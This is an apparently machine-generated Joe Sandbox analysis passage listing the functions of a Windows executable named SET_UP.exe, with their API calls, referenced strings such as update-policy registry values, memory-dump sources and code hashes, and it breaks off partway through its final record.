Function 000E2840 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 177windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

EnableWindow.USER32(?,00000001), ref: 000E29CD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 000E29FA

Strings

NoAutoUpdateCheck, xrefs: 000E293C, 000E294C
AutoUpdatePolicy, xrefs: 000E28A1, 000E28B1

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: EnableFindHeapMessageProcessResourceSendWindow
String ID: AutoUpdatePolicy$NoAutoUpdateCheck
API String ID: 1765928292-325369193
Opcode ID: 4ceb5b21bfee514ae9982737f82406367c85e903cdd3f8f6a24161dc0485aef5
Instruction ID: 098116583fc584d51c7a103cbb4fa3a7a1aa204614ddfa682debffb6aa28d7a1
Opcode Fuzzy Hash: 4ceb5b21bfee514ae9982737f82406367c85e903cdd3f8f6a24161dc0485aef5
Instruction Fuzzy Hash: 3B51AF71A00249AFDB14DFA8C846BEEFBF8EF04310F108169E615B72D2DB749A45CB91

Function 000C02B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,0CE81EE3,00000000,00000000), ref: 000C02F0

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

GetLastError.KERNEL32( LastError: ,0000000C,Unable to map view of file.,0000001B), ref: 000C0364

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

Strings

LastError: , xrefs: 000C0357
Unable to map view of file., xrefs: 000C034B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalCurrentProcessSection$EnterErrorFileHeapInitializeLastThreadView
String ID: LastError: $Unable to map view of file.
API String ID: 191686418-4134928918
Opcode ID: 03959a696e8fa4be6aa0d7a1c8dfd099e424e7a0fd87a1a3d7134278ede0c09b
Instruction ID: 7d3008630f2272caafb8c3ee7514fcb44a3c28fbc27c2a681a8d6c004369ab8f
Opcode Fuzzy Hash: 03959a696e8fa4be6aa0d7a1c8dfd099e424e7a0fd87a1a3d7134278ede0c09b
Instruction Fuzzy Hash: FF41B471A40649DFDB14EFA8CD09F9EB7E8EF44710F1482A9F515A72D2EB749900CBA0

Function 000F29B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\SET_UP.exe, xrefs: 000F29F0, 000F29F7, 000F2A2B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\SET_UP.exe
API String ID: 0-3631909208
Opcode ID: 0a9f11b12db7d8031e51945abe9a63a5d5c4383b3c322022ed7271745031691b
Instruction ID: 3f4d589b3d4e744e73c65851431384401abab9c2d721eed28a9bf77008b70f66
Opcode Fuzzy Hash: 0a9f11b12db7d8031e51945abe9a63a5d5c4383b3c322022ed7271745031691b
Instruction Fuzzy Hash: AF318071A0461DEFDB21DB99DC859BFBBF8EF85710B100066E604E7611D7B18A40EB61

Function 0008905C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

GetWindowTextW.USER32(?,?,00000001), ref: 0008908C

Strings

Anchor Color, xrefs: 00089177
Software\Microsoft\Internet Explorer\Settings, xrefs: 0008912A
Anchor Color Visited, xrefs: 000891E5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: TextWindow
String ID: Anchor Color$Anchor Color Visited$Software\Microsoft\Internet Explorer\Settings
API String ID: 530164218-3433146436
Opcode ID: e3f1a10d7bbb674c488c1a71b779b0427b688b2c413517e49ec46760011f7a67
Instruction ID: f33ac0bc458f5c9f4116d2013a8889781707018b9d51c5ad0550646808196118
Opcode Fuzzy Hash: e3f1a10d7bbb674c488c1a71b779b0427b688b2c413517e49ec46760011f7a67
Instruction Fuzzy Hash: 11416B30A04229AAEF70EF04CD48BFEB3B5BF05314F184189E889A3290D7759E85CF52

Function 00096840 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

__Wcrtomb.LIBCPMT ref: 000968E5

Part of subcall function 000E92AA: RaiseException.KERNEL32(E06D7363,00000001,00000003,?), ref: 000E930A

Strings

ios_base::failbit set, xrefs: 0009687F
ios_base::eofbit set, xrefs: 00096884
ios_base::badbit set, xrefs: 00096875

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ExceptionRaiseWcrtomb
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3593731475-1866435925
Opcode ID: 61a9b8b0224b5cdd880da47d80dcda6d5cb42529071383c21899c4d57f236a8a
Instruction ID: 1b70d6941f99e218bc71329769bde3144f16955201550448656c201b8b6a8354
Opcode Fuzzy Hash: 61a9b8b0224b5cdd880da47d80dcda6d5cb42529071383c21899c4d57f236a8a
Instruction Fuzzy Hash: 7431C5726043049FD710DF6DD842BABB3D8EB94310F54891AF559D7243EB32D915C792

Function 000CABB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,.part,00000005,?,0CE81EE3,?,00000000), ref: 000CAC11
DeleteFileW.KERNEL32(?,.part,00000005,?,0CE81EE3,?,00000000), ref: 000CAC20
RemoveDirectoryW.KERNEL32(?,?,00000000,?,00000000), ref: 000CAC50

Strings

.part, xrefs: 000CABF2

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: DeleteFile$DirectoryRemove
String ID: .part
API String ID: 4245202217-3499674018
Opcode ID: a30ab93bd4acc3a6873299b41a9d146cd521527e9e196d8fc9f9ffb55d2f5ea1
Instruction ID: d23f3d04ca1f19be7b746364eed0f311f21726273c7fb746536546a46627a384
Opcode Fuzzy Hash: a30ab93bd4acc3a6873299b41a9d146cd521527e9e196d8fc9f9ffb55d2f5ea1
Instruction Fuzzy Hash: 2831AD31A00908DBCB10DF68CD45F9EF7B9EF85724F248369A424A72E2EB359900CB91

Function 0008A460 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,0CE81EE3,?,?,?,00000000,00000000,00105B80,000000FF,?,0008913F,80000001,Software\Microsoft\Internet Explorer\Settings,0002001F,?), ref: 0008A4A3
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 0008A4CC

Strings

Advapi32.dll, xrefs: 0008A49E
RegOpenKeyTransactedW, xrefs: 0008A4C6

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 1646373207-3913318428
Opcode ID: 1f6c09bf577588bfb8d3d0c7b8cfe4358045937f22d228c91075692a02a1b34f
Instruction ID: 028b71fe4ad170ce7bd3000d6cdf156918751289487371b1b9b8f44964d598ea
Opcode Fuzzy Hash: 1f6c09bf577588bfb8d3d0c7b8cfe4358045937f22d228c91075692a02a1b34f
Instruction Fuzzy Hash: E921B172744605AFEB109F48DC44FAABBA8FB45750F00812AF815D7690E775A850CB91

Function 0007D660 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32(?,00000000,?,\\?\,?,0007DE88), ref: 0007D6FD
RemoveDirectoryW.KERNEL32(?,0CE81EE3,00000000,74DEE010,?,00000000,001071AD,000000FF,?,0007DE88), ref: 0007D72C
GetLastError.KERNEL32(?,0007DE88), ref: 0007D73C

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

Strings

\\?\, xrefs: 0007D6C7, 0007D6D7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: DirectoryRemove$ErrorFindHeapLastProcessResource
String ID: \\?\
API String ID: 3015187585-4282027825
Opcode ID: 528f39ebf77b60acfcfa8fcc56e685556413124c37178c925e3f5df28e004689
Instruction ID: 1ca294bb9ec6556a4b00a7126246f1b851f81f3bb72d369c2c35a177ce500165
Opcode Fuzzy Hash: 528f39ebf77b60acfcfa8fcc56e685556413124c37178c925e3f5df28e004689
Instruction Fuzzy Hash: 0D21BB35940604DFDB04DF64D808AAAB7F4FF05320F54861AE969D7291EB399900CB54

Function 0007B170 Relevance: 6.6, APIs: 5, Instructions: 324COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000001,00000008,?,00000000,00000001,00000000,0CE81EE3,?,?,?,00000001,00000000,0CE81EE3), ref: 0007B1E0
GetLastError.KERNEL32(?,00000000,00000001,00000000,0CE81EE3,?,?,?,00000001,00000000,0CE81EE3), ref: 0007B212
GetLastError.KERNEL32(?,?,00000000,?,00000000,00000001,00000000,0CE81EE3,?,?,?,00000001,00000000,0CE81EE3), ref: 0007B25B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8d0092baf46eb65a9a84426a3e0e87047cf8023e48d260a719e48d14dcb2a62b
Instruction ID: ba3da5d19b5b64206464090cb360f21281c3f4951e89809695d240545236a968
Opcode Fuzzy Hash: 8d0092baf46eb65a9a84426a3e0e87047cf8023e48d260a719e48d14dcb2a62b
Instruction Fuzzy Hash: 63B1A375A00605ABDB24CFA4DC45BAEB7E8FF08741F108129F919E7681E779E940CB94

Function 0007AEA0 Relevance: 6.5, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000001,00000008,?,00000000,00000001,00000000,0CE81EE3), ref: 0007AF10
GetLastError.KERNEL32(?,00000000,00000001,00000000,0CE81EE3), ref: 0007AF42

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 3ee25e92a54bef216f651b7ab744ba7c7bb413397764e06b54197e2803b6e56f
Instruction ID: 325cc1cd7a17b9430ee7a68d6b1228e28d90c7ae5e4e7f173912db24bcb2abb9
Opcode Fuzzy Hash: 3ee25e92a54bef216f651b7ab744ba7c7bb413397764e06b54197e2803b6e56f
Instruction Fuzzy Hash: 8881E475B40205AFEB249FA4DC45FAEB7B8FF48701F10812AF919E7690DB79D8008B95

Function 000EA753 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000EA81A
___AdjustPointer.LIBCMT ref: 000EA83D
___AdjustPointer.LIBCMT ref: 000EA8D9

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ecddbfe9b8735f8f71bf30d9318a0f82c11e08139a4f8fbbb790c5868d783303
Instruction ID: 636f49c6baab21a8d2838d641a412b923e55fc21ca34c6c6ade716c0c10eb1a4
Opcode Fuzzy Hash: ecddbfe9b8735f8f71bf30d9318a0f82c11e08139a4f8fbbb790c5868d783303
Instruction Fuzzy Hash: F551E572B046869FEB298F52C941BAA73E5EF4A310F14452DE845B7292EB31FC41C792

Function 000E0F30 Relevance: 6.1, APIs: 4, Instructions: 130stringwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 000A3B00: EnterCriticalSection.KERNEL32(0014B390), ref: 000A3B3C
Part of subcall function 000A3B00: GetCurrentThreadId.KERNEL32 ref: 000A3B50
Part of subcall function 000A3B00: LeaveCriticalSection.KERNEL32(0014B390), ref: 000A3B8E

SetWindowLongW.USER32(?,000000FC,00000000), ref: 000E0F9D
lstrlenW.KERNEL32 ref: 000E104D
lstrcpynW.KERNEL32(00000020,?,?), ref: 000E1072
Shell_NotifyIconW.SHELL32(00000000,00000008), ref: 000E107E

Part of subcall function 000E5EAB: GetProcessHeap.KERNEL32(00000008,00000008,?,000A37EA,?,000A3625,?,56200804,00000000), ref: 000E5EB0
Part of subcall function 000E5EAB: HeapAlloc.KERNEL32(00000000), ref: 000E5EB7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalHeapSection$AllocCurrentEnterIconLeaveLongNotifyProcessShell_ThreadWindowlstrcpynlstrlen
String ID:
API String ID: 4060221180-0
Opcode ID: 453773c790d9d7605281f8efb57784fb1d1848c7a28ad007bb32c745aa38994f
Instruction ID: 24664955a5d0d87e77a604ac15747f007dc0f4b6dbd719aa3ab3dafbc81cfb19
Opcode Fuzzy Hash: 453773c790d9d7605281f8efb57784fb1d1848c7a28ad007bb32c745aa38994f
Instruction Fuzzy Hash: 1B519C70600245DFDB04DF69C884B9ABBF8FF45314F148279E808DB296EB74D944CBA0

Function 000BAA80 Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000BAA97

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent
String ID:
API String ID: 975332729-0
Opcode ID: db881f40888f05387c79b1588dc5139488e1bca0ff7d28f16246c624958b42b9
Instruction ID: e3ce959fa81bbd44541960d9a84663ee99fc0a652b4124fcc0f2e3608d2ec9c3
Opcode Fuzzy Hash: db881f40888f05387c79b1588dc5139488e1bca0ff7d28f16246c624958b42b9
Instruction Fuzzy Hash: 22413A363046108FD714DB2CD8A6FD673E5EB85721F10846AE196CB2E2CBA2AC41DB61

Function 0009ED20 Relevance: 6.1, APIs: 4, Instructions: 117networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,0009C46B,00000000,00000000,?,0009C46B,00000000), ref: 0009ED83
MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,0009C46B,?,00000000,?,0009C46B,00000000), ref: 0009EDB5
InternetSetStatusCallbackW.WININET(00000001,00000000), ref: 0009EE30
InternetCloseHandle.WININET(00000001), ref: 0009EE39

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ByteCharInternetMultiWide$CallbackCloseHandleHeapProcessStatus
String ID:
API String ID: 4164208729-0
Opcode ID: dec1306d6542b9942502ac138cf49c4b0a6c3d1b85aa9867c507a209d9f7b39f
Instruction ID: eef2fb5298850a389612480abd99810d749e6e3bbe15bca2d9f3a2ded7f9f303
Opcode Fuzzy Hash: dec1306d6542b9942502ac138cf49c4b0a6c3d1b85aa9867c507a209d9f7b39f
Instruction Fuzzy Hash: 7141D131640644EFEB24CF58DC49F9ABBE8FB44B20F10812DF955AB791DB71AD008B94

Function 000E0820 Relevance: 6.1, APIs: 4, Instructions: 110windowCOMMON

Download Yara Rule

APIs

CreatePropertySheetPageW.COMCTL32(000E0192,0CE81EE3,00000020,00000044,00000000,?,000E0192,?,?,?,?,?,?,0CE81EE3,00000000,00000000), ref: 000E084D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 000E087D
DestroyPropertySheetPage.COMCTL32(00000000,?,000E0192,?,?,?,?,?,?,0CE81EE3,00000000,00000000,?,?), ref: 000E088E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: PagePropertySheet$CreateDestroyMessageSend
String ID:
API String ID: 906237230-0
Opcode ID: be7e0680b2bdbca0ce8acf2f01c1afb4b8c7ac1f4b419d09db935401f2b058cd
Instruction ID: 31784dbc68896679a5ced03c3725a5afee8baa43dd10564a2ecbfa4dbf2cc154
Opcode Fuzzy Hash: be7e0680b2bdbca0ce8acf2f01c1afb4b8c7ac1f4b419d09db935401f2b058cd
Instruction Fuzzy Hash: 4D31E571A00345DFD720CF56D980B5AF7F8FB45760F20452EE955A3681EBB1AD80CB90

Function 000BED60 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000034,00000000,00000000,?,00000000,00000000,80070057,00000000,?,0000000C,00000000,000BEDFE), ref: 000BEE0A
GetLastError.KERNEL32(?,0000000C,00000000,000BEDFE,0000000C,00000018,?,00000000,000BF001,?,?), ref: 000BEE25
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?,0000000C,00000000,000BEDFE,0000000C,00000018,?,00000000,000BF001,?,?), ref: 000BEE39
GetLastError.KERNEL32(?,0000000C,00000000,000BEDFE,0000000C,00000018,?,00000000,000BF001,?,?), ref: 000BEE46

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorFileLast$CreateMappingView
String ID:
API String ID: 2231327692-0
Opcode ID: d98bb4b75ff317bb121f1d952013bcc115aee2676f2fe61034322f8f9a981420
Instruction ID: f1eaeb0b5c8a4f82003fb64bc3ff107321337cc8d0a7bcfd9fff23eb14b0c62f
Opcode Fuzzy Hash: d98bb4b75ff317bb121f1d952013bcc115aee2676f2fe61034322f8f9a981420
Instruction Fuzzy Hash: C031D536740A61EFC7249B28DC45BC9B7E4FF44760F11416AE624DB291DBB0E841CBD5

Function 0009EAB0 Relevance: 6.1, APIs: 4, Instructions: 108networkCOMMON

Download Yara Rule

APIs

InternetQueryOptionW.WININET(C000008C,0000004B,0CE81EE3,?), ref: 0009EB14
GetLastError.KERNEL32 ref: 0009EB1E
_wcschr.LIBVCRUNTIME ref: 0009EB83
GlobalFree.KERNEL32(00000000), ref: 0009EBD9

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorFreeGlobalInternetLastOptionQuery_wcschr
String ID:
API String ID: 2240186105-0
Opcode ID: edf911f2805025c37bb348663ea21a87f80d9b922971e5ac743dde3559053592
